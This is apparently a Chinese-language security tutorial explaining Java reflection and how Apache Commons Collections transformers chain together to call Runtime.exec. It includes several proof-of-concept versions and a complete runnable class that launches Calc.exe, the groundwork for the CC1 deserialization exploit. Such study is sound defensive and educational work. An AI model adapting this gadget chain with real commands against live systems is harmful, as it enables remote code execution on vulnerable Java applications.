参考文章

  1. 大白话说Java反射:入门、使用、原理
  2. 菜鸟教程-Java反射
  3. csdn-反序列化调用链——Commons Collections 迭代调用链

前置知识

反射: Java在运行时动态获取类信息、操作类属性和方法的能力

如何获取一个对象:

  1. 获取类的 Class 对象实例
Class clz = Class.forName("com.zhenai.api.Apple");
  1. 根据 CLass 对象实例获取 Constructor 对象
Constructor appleConstructor = clz.getConstructor();
  1. 使用 Constructor 对象的 newInstance 方法获取反射类对象
Object appleObj = appleConstructor.newInstance();

如何调用某一个方法:

  1. 获取方法的 Method 对象
Method setPriceMethod = clz.getMethod("setPrice", int.class);
  1. 利用 invoke 方法调用方法
setPriceMethod.invoke(appleObj, 14);

特点:

  • 突破封装性:可访问私有成员(需setAccessible(true))
  • 动态性:运行时才确定操作对象(如Class.forName("java.lang.Runtime"方法))
  • 自省能力:可获取类结构(方法、字段、注解等)

反射使攻击者能绕过Java的访问控制,操作Runtime等敏感类。

术语 作用 漏洞利用中的角色
反射 运行时动态操作类 突破Java安全机制的基础能力
反射获取方法 提取类中的特定方法 获取敏感方法(如 getRuntime
反射调用 动态执行方法 触发命令执行(如 exec())

迭代链

poc

POC如下:

// 1. 创建Transformer链数组(关键恶意操作序列)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 固定返回Runtime类的Class对象

new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
// 方法参数类型
new Object[]{"getRuntime", new Class[0]}),
// 获取getRuntime方法

new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
// 方法参数类型
new Object[]{null, new Object[0]}),
// 调用getRuntime()获取Runtime实例

new InvokerTransformer("exec",
new Class[]{String.class},
// 方法参数类型
new String[]{"Calc.exe"})
// 执行系统命令
};

这是手动触发transfrom迭代链的方法

  • 拿到对应类
  • 反射获取方法
  • 执行方法
  • 触发

一般来说真实情况会是下面这样

public Object transform(Object object){
for(int i = 0; i < this.iTransformers.length; ++i){
object = this.iTransformers[i].transform(object);
}
return object;
}

看不懂吗, 看不懂就对了

每个 InvokerTransformer 只能执行一个方法调用。要执行复杂操作,需要将多个转换器连接起来

获取目标类

我们可以通过ConstantTransformer类中的transform方法来获取类

Object o=new ConstantTransformer(Runtime.class).transform(Object.class); System.out.println(o);
// class java.lang.Runtime

ConstantTransformer实现了Transformer接口,重写了transform, 直接来看重写的内容, 发现可以获取到对应的类

public Object transform(Object input) {
return this.iConstant;
}

获取目标类方法

获取目标类的方式使用的InvokerTransformer, InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例

Transformer方法是直接调用反射机制来获取到方法的实例

public class InvokerTransformer implements Transformer {
//...
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
// 此处调用反射机制
Class cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
} catch (Exception e) {
throw new FunctorException(...);
}
}
}

那么我们执行exec就要进行连续获取 getMethod->getRuntime->invoke->exec

那么获取执行方法实例的poc就是

// 获取Runtime类, o是java.lang.Runtime的Class对象
Object o=new ConstantTransformer(Runtime.class).transform(Object.class);
// 获取getRuntime方法, a是getRuntime方法的Method对象
Object a=new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}).transform(o);
// 调用getRuntime方法, b是Runtime单例实例
Object b=new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}).transform(a);
// 执行exec命令
Object c=new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"Calc.exe"}).transform(b);

迭代调用

那么直接调用的方式是我们需要手动的去调用他们的transform方法, 肯定无法在实战中使用, 我们需要找到一个可以进行迭代调用的方式

庆幸的是存在一个ChainedTransformer类, 该类实现了Transformer链式调用; 我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法

那么我们通过ChainedTransformer类调用:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class);

那么这样就可以直接触发整个transformers数组的Transform方法。 面临的问题就是如何去触发ChainedTransformer的Transform方法。那么这个就是之后整个反序列链的基础链

总结

所以核心就是下面这三个

  • ConstantTransformer获取类
  • InvokerTransformer反射方法
  • ChainedTransformer迭代调用

完整代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class testCC1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class);
}
}